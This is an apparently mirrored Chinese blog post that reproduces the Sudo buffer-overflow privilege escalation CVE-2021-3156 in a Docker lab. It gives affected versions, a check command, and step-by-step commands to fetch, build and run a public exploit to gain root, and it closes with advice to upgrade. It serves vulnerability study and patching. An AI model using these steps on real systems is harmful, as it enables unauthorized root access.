7

Sudo缓冲区溢出漏洞(CVE-2021-3156)

 3 years ago
source link: https://827607240.github.io/2021/02/21/%C2%96Sudo-CVE-2021-3156/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Sudo缓冲区溢出漏洞(CVE-2021-3156)漏洞复现

Sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。
Sudo 1.8.2-1.8.31p2和1.9.0-1.9.5p1版本存在缓冲区溢出漏洞。攻击者可通过“sudoedit -s”和以单个反斜杠字符结尾的命令行参数利用该漏洞获得系统root权限。

受影响版本

Sudo 1.8.2 - 1.8.31p2

Sudo 1.9.0 - 1.9.5p1

不受影响版本

Sudo =>1.9.5p2

用户可以使用非root的账户登录系统,运行“ sudoedit -s / ”命令,

若返回如图以“ sudoedit:”开头的错误,则当前系统可能存在安全风险。

不受影响的系统将显示以“ usage:”开头的错误响应。

部分文章说ubuntu20.04稳定运行,于是使用docker搭建环境。

使用docker搜索ubuntu

docker search ubuntu:20.04

拉取镜像:
docker pull manishfoodtechs/xfcefulldesktop_ubuntu20.4
进入容器的/bash:
docker run -it manishfoodtechs/xfcefulldesktop_ubuntu20.4 /bin/bash

git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
./sudo-hax-me-a-sandwich

判断是否存在该漏洞。

root@1ad93b21644e:/# sudoedit -s /                                                   
sudoedit: /: not a regular file

sudoedit开头。当前系统可能存在安全风险。

由于是提权漏洞,现在容器中添加普通权限用户。

root@1ad93b21644e:/# useradd -m test
root@1ad93b21644e:/# ls /home/
test  user1
root@1ad93b21644e:/# su test
$ cat /etc/shadow
cat: /etc/shadow: Permission denied
$ id                      
uid=1001(test) gid=1001(test) groups=1001(test)

将poc移动到容器中

方法1:
docker cp CVE-2021-3156_nss_poc_ubuntu.tar.gz 1a:/home/test/
方法2:
在物理机起一个python web服务。
把poc用wget下载到这个容器里:
python -m http.server 80
wget http://192.168.2.1/CVE-2021-3156_nss_poc_ubuntu.tar.gz

解压文件,切换到目录下make编译poc。

tar -zxvf CVE-2021-3156_nss_poc_ubuntu.tar.gz
cd CVE-2021-3156
make
./sudo-hax-me-a-sandwich           运行POC,尝试提权,选择target
因为我使用的是ubuntu系统,所以target选择0运行
./sudo-hax-me-a-sandwich 0

成功提权到root权限。复现成功

目前官方已在sudo新版本1.9.5p2中修复了该漏洞,请受影响的用户尽快升级版本进行防护。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK